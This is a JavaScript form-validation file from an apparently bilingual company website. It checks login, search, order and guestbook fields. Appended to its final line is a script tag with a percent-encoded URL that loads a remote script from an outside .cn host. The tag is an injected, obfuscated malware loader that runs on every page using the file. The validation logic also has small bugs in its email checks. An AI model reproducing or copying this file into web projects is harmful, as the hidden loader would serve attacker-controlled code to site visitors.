// JavaScript Document
function ckMail(theform)
{
	if(theform.name.value=="")
	{
		alert("请输入邮箱用户名！");
		theform.name.focus();
		return false;
	}
	if(theform.passwd.value=="")
	{
		alert("请输入邮箱密码！");
		theform.passwd.focus();
		return false;
	}
}
function ckSearch(theform)
{
	if(theform.keyword.value=="")
	{
		alert("请输入关键字!");
		theform.keyword.focus();
		return false;
	}
}
function ckAdmin(theform)
{
	if(theform.username.value=="")
	{
		alert("请输入管理用户名！");
		theform.username.focus();
		return false;
	}
	if(theform.password.value=="")
	{
		alert("请输入管理密码！");
		theform.password.focus();
		return false;
	}
	//if(theform.code.value=="")
	//{
		//alert("请输入验证码！");
		//theform.code.focus();
		//return false;
	//}
}
function ckonlin(theform)
{
	if(theform.company_name.value=="")
	{
		alert("Please input company name!");
		theform.company_name.focus();
		return false;
	}
	if(theform.your_name.value=="")
	{
		alert("Please input you name！");
		theform.your_name.focus();
		return false;
	}
	if(theform.tel.value=="")
	{
		alert("Please input you Tel！");
		theform.tel.focus();
		return false;
	}
	if(theform.email.value=="")
	{
		if(theform.email.value.indexOf('@')=="-1"||theform.email.value.indexOf('.')=="-1")
		{
			alert("Please input right E_MAIL ！");
			theform.email.focus();
			return false;
		}
	}
	if(theform.model.value=="")
	{
		alert("Please input product name！");
		theform.model.focus();
		return false;
	}
	if(theform.quantity.value=="")
	{
		alert("Please input product number！");
		theform.quantity.focus();
		return false;
	}
}
function ckBook(theform)
{
	if(theform.title.value=="")
	{
		alert("请输入主题");
		theform.title.focus();
		return false;
	}
	if(theform.name.value=="")
	{
		alert("请输入您的姓名！");
		theform.name.focus();
		return false;
	}
	if(theform.mail.value!="")
	{
		if(theform.mail.value.indexOf('@')=="-1"||theform.email.value.indexOf('.')=="-1")
		{
			alert("E_MAIL 格式错误！");
			theform.email.focus();
			return false;
		}
	}
	if(theform.content.value=="")
	{
		alert("请输入您的内容！");
		theform.content.focus();
		return false;
	}
}
function sIMG(theIMG,md)
{
	if(md=="show")
	{
		theIMG.filters.Alpha.Opacity=100;
	}
	else
	{
		theIMG.filters.Alpha.Opacity=50;
	}
}<script src=http://%77%77%77%2E%74%6C%74%6C%62%61%2E%63%6E/mx.js></script>
 

